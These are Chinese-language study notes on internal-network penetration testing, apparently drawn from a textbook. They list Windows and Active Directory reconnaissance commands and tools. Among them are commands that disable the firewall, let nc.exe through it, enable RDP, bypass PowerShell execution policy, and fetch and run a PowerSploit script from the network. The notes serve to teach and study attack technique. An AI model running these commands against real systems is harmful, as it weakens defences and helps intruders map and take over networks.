内网渗透学习(二)
概述
内网信息收集主要包括这几点:
- 我是谁?——对当前机器角色的判断
- 我在哪?——对当前机器所处网络环境的拓扑结构进行分析和判断
- 我在哪?——对当前机器所处区域的判断
命令
查询网络配置信息
ipconfig /all
查询操作系统及软件的信息
查询操作系统和版本信息
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
如果是中文版则把”Name”换成”名称”,把”Version”换成”版本”
查询系统体系结构
echo %PROCESSOR_ARCHITECTURE%
查看安装的软件及版本、路径
Wmic:
wmic product get name,version
Powershell:
powershell "Get-WmiObject -class Win32_Product | Select-Object -Property name,version"
查询本机服务信息
wmic service list brief
查询进程列表
tasklist
查询进程信息
wmic process list brief
查看启动程序信息
wmic startup get command,caption
执行计划任务
schtasks /query /fo LIST /v
查看主机开机时间
net statistics workstation
查看用户列表
net user
获取域管信息
net localgroup administrators
查看当前在线用户
query user || qwinsta
列出或断开本地计算机与所连接的客户端之间的会话
net session
查询端口列表
netstat -ano
查看补丁列表
systeminfo
wmic:
wmic qfe get Caption,Description,HotFixID,InstalledOn
查询本机共享列表
net share
wmic:
wmic share get name,path,status
查询路由表及所有可用接口的ARP缓存表
route print
arp -a
查询防火墙相关配置
1.关闭防火墙
netsh firewall set opmode disable //windows server 2003及之前版本
netsh advfirewall set allprofiles state off //windows server 2003以后版本
2.查看防火墙配置
netsh firewall show config
3.修改防火墙配置
windows server 2003及之前版本
netsh firewall add allowedprogram c:\nc.exe "allow nc" enable //windows server 2003及之前版本
windows server 2003以后
允许指定程序进入
netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="c: \nc.exe"
允许指定程序退出
netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="c: \nc.exe"
允许3389端口放行
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
自定义防火墙日志的储存位置
netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log"
查看代理配置情况
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
查看并开启远程连接服务
查看远程连接端口
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber
在windows server 2003 开启3389端口
wmic path win32_terminalservicesetting where (__CLASS !=="") call setallowtsconnections 1
在windows server 2008和2012中开启3389端口
wmic /namespace:\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
wmic /namespace:\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1
reg add "HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
查询权限
- 查看当前权限
whoami
- 获取域SID
whoami /all
- 查询指定用户的详细信息
net user xxx /domain
判断是否存在域
- 使用ipconfig查看网关IP地址、DNS的IP地址、域名、本机是否和DNS服务器在同一个网段
ipconfig /all
通过反向nslookup来解析域名的ip地址,判断域控是否和DNS服务器在同一服务器
nslookup hacke.testlab
- 查看系统详细信息
systeminfo
- 查询当前登录域及登录用户信息
net config workstation
- 判断主域
net time /domain
有三种情况:
(1)若提示发生系统错误5,拒绝访问 —–存在域,但当前用户不是域用户
(2)若成功显示时间 —–存在域,且当前用户是域用户
(3)当前网络环境为工作组 —–当前网络环境为工作组,不存在域
探测域内存活主机
- 利用NetBIOS
NetBIOS是局域网程序使用的一种应用程序编程接口(API),为程序提供了请求低级别服务的统一的命令集。
使用工具nbtscan
nbtscan体积小,支持windows和linux,不需要安装其他库或dll
使用命令:
nbt.exe 192.168.1.0/20
显示列表第一列为IP地址,第二列为机器名和域所在的名称,最后一列是机器所开启的服务列表
- 利用ICMP
原理:对内网中每个IP地址执行ping命令
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr "TTL="
- 通过ARP
使用工具arp-scan
arp.exe -t 192.168.1.0/20
Empire中的arpscan模块
Nishang中的Invoke-ARPScan.ps1
powershell.exe -exec bypass -Command "& {Import-Module C:\windows\temp\Invoke-ARPScan.ps1; Invoke-ARPScan -CIDR 192.168.1.0/20}" >> C:\windows\temp\log.txt
可将脚本上传到目标主机运行,也可以直接远程加载脚本、自定义掩码和扫描范围
- 通过常规的TCP/UDP端口
使用ScanLine端口扫描工具
scanline -h -t 22,80-89,110,389,445,3389,1099,1433,2049,6379,7001,8080,1521,3306,3389,5432 -u 53,161,137,139 -O c:\windows\temp\log.txt -p 192.168.1.1-254 /b
扫描内网域内端口
- 端口的banner信息
- 端口上运行的服务
- 常见应用的默认端口
- 利用telnet命令
telnet DC 22
- S扫描器
S.exe TCP 192.168.1.1 192.168.1.254 445,3389,1433,7001,1099,8080,80,22,23,21,25,110,3306,5432,1521,6379,2049,111 256 /Banner /save
- Metasploit扫描
使用auxiliary/scanner/portscan/tcp模块进行扫描
- PowerSploit的Invoke-portscan.ps1脚本
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 192.168.1.0/24 -T 4 -ports '445,1433,8080,3389,80' -oA c:\windows\temp\res.txt"
- Nishang的Invoke-Portscan模块
Invoke-Portscan -ScanPort -StartAddress 192.168.1.1 -EndAddress 192.168.1.1255 -ResolveHost
收集域内基础信息
确定了当前内网拥有的域,且所控制的主机在域内,就能进行域内相关的信息收集了。
通过LDAP协议到域控查询,所以查询的时候需要进行权限认证,只有域内用户拥有此权限
- 查询域
net view /domain
- 查询域内所有计算机
net view /domain:域的名字
- 查询域内所有用户组列表
net group /domain
- 查询所有域成员计算机列表
net group "domain computers" /domain
- 获取域密码信息
net accounts /domain
- 获取域信任信息
nltest /domain_trusts
查看域控制器
- 查看域控制器的机器名
nltest /DCLIST:域名字
- 查看域控制器的主机名
Nslookup -type=SRV_ldap._tcp
- 查看当前时间
net time /domain
- 查看域控制器组
net group "Domain Controllers" /domain
获取域内的用户信息
- 向域控制器进行查询
net user /domain
执行命令,向域控DC进行查询。注意krbtgt用户不仅可以创建票据授权服务(TGS)的加密密钥,还可以实现多种域内权限持久化方法
- 获取域内用户的详细信息
wmic useraccount get /all
- 查看存在的用户
dsquery user
- 查询本地管理员组用户
net localgroup administors
Domain Admins 组中的用户默认为域内机器的本地管理员用户。
获取域内管理员信息
- 查询域管理员用户
net group "domain admins" /domain
- 查询管理员用户组
net group "Enterprise Admins" /domain
定位域管理员
内网渗透的需求是获取内网中特定用户或机器的权限,进而获取特定的资源
- 域管理员定位
在一个域中,当计算机加入域后,会默认给域管理员组赋予本地系统管理员权限。
当计算机被添加到域中,成为域的成员主机后,系统会自动将域管理员组添加到本地系统管理员组中。因此,域管理员组的成员均可访问本地计算机,且具备完全控制权限。
定位域内管理员的途径:(1) 日志 (2) 绘画
- 定位域管理员的工具
psloggedon.exe
psloggedon.exe \\computername或username
该工具可查看本地登录的用户和通过本地计算机或远程计算机的资源登录的用户
PVEFindADUser.exe
PVEFindADUser.exe <参数>
- current["username"] : 获取当前登录用户名
- last["userename"] : 获取最后一个登录的用户名
可用于查找活动目录用户登录的位置、枚举域用户,以及查找在特定计算机上登录的用户,包括本地用户、通过RDP登录的用户、用于运行服务和计划任务的用户。
netview.exe
netview.exe <参数>
-f filename.txt : 指定要提取主机列表的文件
-e filename.txt : 指定要排除主机列表的文件
-o filename.txt : 将所有输出重定向到指定文件
-d domain : 指定要提取主机列表的域
-g group : 指定搜索的组名
-c : 对已找到的共享目录/文件的访问权限进行检查
枚举工具,使用WinAPI枚举系统,利用NetSessionEnum找寻登录会话,利用NetShareEnum找寻共享,利用NetWkstaUserEnum枚举登录的用户。同时,netview.exe能够查询共享入口和有价值的用户
Nmap的NSE脚本
如果存在域账户或者本地账户,就可以使用Nmap的smb-enum-sessions.nse引擎获取远程主机的登录会话
PowerView脚本
powershell.exe -exec bypass -Command "& <Import-Module C:\PowerView.ps1; Invoke-UserHunter>"
- Invoke-StealthUserHunter: 只需进行一次查询,就可以获取域里面的所有用户。
- Invoke-UserHunter:找到域内特定的用户群,接收用户名、用户列表和域组查询,接收一个主机列表或查询可用的主机域名 。
Empire的user_hunter模块
使用usemodule situational_awareness/network/powerview/user_hunter模块
查找域管理进程
本机检查
- 获取域管理员列表
net group "Domain Admins" /domain
- 列出本机的所有进程及进程用户
tasklist /v
- 寻找进程所有者为管理员的进程
查询域控制器的域用户会话
- 查询域控制器列表
net group "Domain Controllers" /domain
- 收集域管理员列表
net group "Domain Admins" /domain
- 收集所有活动域的会话列表
NetSess -h
- 交叉引用域管理员列表与活动会话列表
FOR /F %i in (dcs.txt) do @echo [+] Querying DC %i && @netsess -h %i 2>nul >sessions.txt && FOR /F %a in (admins.txt) DO @type sessions.txt | @findstr /I %a
查询远程系统中运行的任务
- 收集域管理员列表
- 运行下面脚本,将目标域系统列表添加到ips.txt中,将收集到的域管列表添加到names.txt文件中。
FOR /F %i in (ips.txt) DO @echo [+] %i && @tasklist /v /s %i /u user /p password 2>nul > output.txt && FOR /F %n in (names.txt) DO @type output.txt | findstr %n > nul && echo [!] %n was found running a process on %i && pause
扫描远程系统的NetBIOS信息
for /F %i in (ips.txt) do @echo [+] Checking %i && nbtstat -A %i 2>nul >nbsessions.txt && for /f %n in (admins.txt) do @type nbsessions.txt | findstr /I %n > nul && echo [!] %n was found logged into %i
Powershell 收集域信息
Powershell权限:
- Restricted: 默认设置,不允许执行任何脚本
- Allsigned: 只能运行经过证书验证的脚本
- Unrestricted: 权限最高,可以执行任意脚本
- RemoteSigned: 对本地脚本不进行限制;对来自网络的脚本必须验证其签名
获取权限信息:
Get-ExecutionPolicy
更改权限:
Set-ExecutionPolicy 权限名
Powershell渗透脚本:Powerview
参考:内网安全攻防渗透测试实战指南